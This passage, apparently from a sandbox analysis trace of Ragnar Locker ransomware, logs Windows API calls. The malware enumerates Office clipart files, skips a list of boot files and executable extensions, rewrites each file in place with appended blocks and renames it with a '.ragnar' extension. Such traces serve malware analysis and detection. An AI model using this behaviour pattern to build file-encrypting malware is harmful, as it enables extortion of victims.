lpString2="desktop.ini") returned 1 [0090.258] lstrcmpiW (lpString1="PH02750U.BMP", lpString2="iconcache.db") returned 1 [0090.258] lstrcmpiW (lpString1="PH02750U.BMP", lpString2="ntldr") returned 1 [0090.258] lstrcmpiW (lpString1="PH02750U.BMP", lpString2="ntuser.dat") returned 1 [0090.258] lstrcmpiW (lpString1="PH02750U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.258] lstrcmpiW (lpString1="PH02750U.BMP", lpString2="ntuser.ini") returned 1 [0090.258] lstrcmpiW (lpString1="PH02750U.BMP", lpString2="thumbs.db") returned -1 [0090.258] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.258] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.258] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.258] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.258] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.258] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.259] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp")) returned 0x20 [0090.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.259] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=94016) returned 1 [0090.259] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16f37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.259] GetProcessHeap () returned 0x580000 [0090.259] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.259] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.262] VirtualAlloc (lpAddress=0x0, dwSize=0x16f40, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.262] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.262] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.262] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16f40, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x16f40, lpOverlapped=0x0) returned 1 [0090.264] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.264] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16f40, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.264] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16f40, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x16f40, lpOverlapped=0x0) returned 1 [0090.265] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16f40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.265] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.265] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16f40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.265] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.266] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.266] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.266] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.266] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.266] GetProcessHeap () returned 0x580000 [0090.266] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.266] CloseHandle (hObject=0xf4) returned 1 [0090.266] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" [0090.266] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.ragnar_FD7BD9FC" [0090.266] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.267] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca500f00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca500f00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0xc382, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02752G.GIF", cAlternateFileName="")) returned 1 [0090.267] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.267] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02752G.GIF" | out: lpString1="PH02752G.GIF") returned="PH02752G.GIF" [0090.267] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF") returned=".GIF" [0090.267] lstrcmpiW (lpString1="PH02752G.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.267] lstrcmpiW (lpString1="PH02752G.GIF", lpString2="autorun.inf") returned 1 [0090.267] lstrcmpiW (lpString1="PH02752G.GIF", lpString2="boot.ini") returned 1 [0090.267] lstrcmpiW (lpString1="PH02752G.GIF", lpString2="bootfont.bin") returned 1 [0090.267] lstrcmpiW (lpString1="PH02752G.GIF", lpString2="bootsect.bak") returned 1 [0090.267] lstrcmpiW (lpString1="PH02752G.GIF", lpString2="bootmgr") returned 1 [0090.267] lstrcmpiW (lpString1="PH02752G.GIF", lpString2="bootmgr.efi") returned 1 [0090.267] lstrcmpiW (lpString1="PH02752G.GIF", lpString2="bootmgfw.efi") returned 1 [0090.267] lstrcmpiW (lpString1="PH02752G.GIF", lpString2="desktop.ini") returned 1 [0090.267] lstrcmpiW (lpString1="PH02752G.GIF", lpString2="iconcache.db") returned 1 [0090.267] lstrcmpiW (lpString1="PH02752G.GIF", lpString2="ntldr") returned 1 [0090.267] lstrcmpiW (lpString1="PH02752G.GIF", lpString2="ntuser.dat") returned 1 [0090.267] lstrcmpiW (lpString1="PH02752G.GIF", lpString2="ntuser.dat.log") returned 1 [0090.267] lstrcmpiW (lpString1="PH02752G.GIF", lpString2="ntuser.ini") returned 1 [0090.267] lstrcmpiW (lpString1="PH02752G.GIF", lpString2="thumbs.db") returned -1 [0090.267] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0090.267] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0090.267] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0090.267] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0090.267] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0090.267] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0090.268] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0090.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif")) returned 0x20 [0090.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.268] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=50050) returned 1 [0090.268] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc379, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.268] GetProcessHeap () returned 0x580000 [0090.268] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.268] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.270] VirtualAlloc (lpAddress=0x0, dwSize=0xc382, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.270] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.270] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.270] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc382, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc382, lpOverlapped=0x0) returned 1 [0090.271] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.271] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc382, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.271] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc382, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc382, lpOverlapped=0x0) returned 1 [0090.272] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc382, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.272] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.272] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc382, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.272] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.272] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.272] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.272] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.272] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.272] GetProcessHeap () returned 0x580000 [0090.273] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.273] CloseHandle (hObject=0xf4) returned 1 [0090.273] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" [0090.273] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.ragnar_FD7BD9FC" [0090.273] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.273] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88769700, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88769700, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02752U.BMP", cAlternateFileName="")) returned 1 [0090.273] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.273] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02752U.BMP" | out: lpString1="PH02752U.BMP") returned="PH02752U.BMP" [0090.273] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP") returned=".BMP" [0090.273] lstrcmpiW (lpString1="PH02752U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.274] lstrcmpiW (lpString1="PH02752U.BMP", lpString2="autorun.inf") returned 1 [0090.274] lstrcmpiW (lpString1="PH02752U.BMP", lpString2="boot.ini") returned 1 [0090.274] lstrcmpiW (lpString1="PH02752U.BMP", lpString2="bootfont.bin") returned 1 [0090.274] lstrcmpiW (lpString1="PH02752U.BMP", lpString2="bootsect.bak") returned 1 [0090.274] lstrcmpiW (lpString1="PH02752U.BMP", lpString2="bootmgr") returned 1 [0090.274] lstrcmpiW (lpString1="PH02752U.BMP", lpString2="bootmgr.efi") returned 1 [0090.274] lstrcmpiW (lpString1="PH02752U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.274] lstrcmpiW (lpString1="PH02752U.BMP", lpString2="desktop.ini") returned 1 [0090.274] lstrcmpiW (lpString1="PH02752U.BMP", lpString2="iconcache.db") returned 1 [0090.274] lstrcmpiW (lpString1="PH02752U.BMP", lpString2="ntldr") returned 1 [0090.274] lstrcmpiW (lpString1="PH02752U.BMP", lpString2="ntuser.dat") returned 1 [0090.274] lstrcmpiW (lpString1="PH02752U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.274] lstrcmpiW (lpString1="PH02752U.BMP", lpString2="ntuser.ini") returned 1 [0090.274] lstrcmpiW (lpString1="PH02752U.BMP", lpString2="thumbs.db") returned -1 [0090.274] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.274] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.274] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.274] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.274] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.274] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.274] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp")) returned 0x20 [0090.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.275] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31752) returned 1 [0090.275] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7bff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.275] GetProcessHeap () returned 0x580000 [0090.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.275] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.276] VirtualAlloc (lpAddress=0x0, dwSize=0x7c08, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.276] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.276] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.276] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7c08, lpOverlapped=0x0) returned 1 [0090.278] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.278] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7c08, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.278] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7c08, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7c08, lpOverlapped=0x0) returned 1 [0090.278] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7c08, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.278] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.278] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7c08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.278] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.278] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.279] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.279] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.279] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.279] GetProcessHeap () returned 0x580000 [0090.279] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.279] CloseHandle (hObject=0xf4) returned 1 [0090.279] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" [0090.279] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.ragnar_FD7BD9FC" [0090.279] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.280] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece62600, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xece62600, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02753U.BMP", cAlternateFileName="")) returned 1 [0090.280] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.280] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02753U.BMP" | out: lpString1="PH02753U.BMP") returned="PH02753U.BMP" [0090.280] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP") returned=".BMP" [0090.280] lstrcmpiW (lpString1="PH02753U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.280] lstrcmpiW (lpString1="PH02753U.BMP", lpString2="autorun.inf") returned 1 [0090.280] lstrcmpiW (lpString1="PH02753U.BMP", lpString2="boot.ini") returned 1 [0090.280] lstrcmpiW (lpString1="PH02753U.BMP", lpString2="bootfont.bin") returned 1 [0090.280] lstrcmpiW (lpString1="PH02753U.BMP", lpString2="bootsect.bak") returned 1 [0090.280] lstrcmpiW (lpString1="PH02753U.BMP", lpString2="bootmgr") returned 1 [0090.280] lstrcmpiW (lpString1="PH02753U.BMP", lpString2="bootmgr.efi") returned 1 [0090.280] lstrcmpiW (lpString1="PH02753U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.280] lstrcmpiW (lpString1="PH02753U.BMP", lpString2="desktop.ini") returned 1 [0090.280] lstrcmpiW (lpString1="PH02753U.BMP", lpString2="iconcache.db") returned 1 [0090.280] lstrcmpiW (lpString1="PH02753U.BMP", lpString2="ntldr") returned 1 [0090.280] lstrcmpiW (lpString1="PH02753U.BMP", lpString2="ntuser.dat") returned 1 [0090.280] lstrcmpiW (lpString1="PH02753U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.280] lstrcmpiW (lpString1="PH02753U.BMP", lpString2="ntuser.ini") returned 1 [0090.280] lstrcmpiW (lpString1="PH02753U.BMP", lpString2="thumbs.db") returned -1 [0090.280] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.280] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.280] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.280] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.280] lstrcmpiW (lpString1=".BMP", 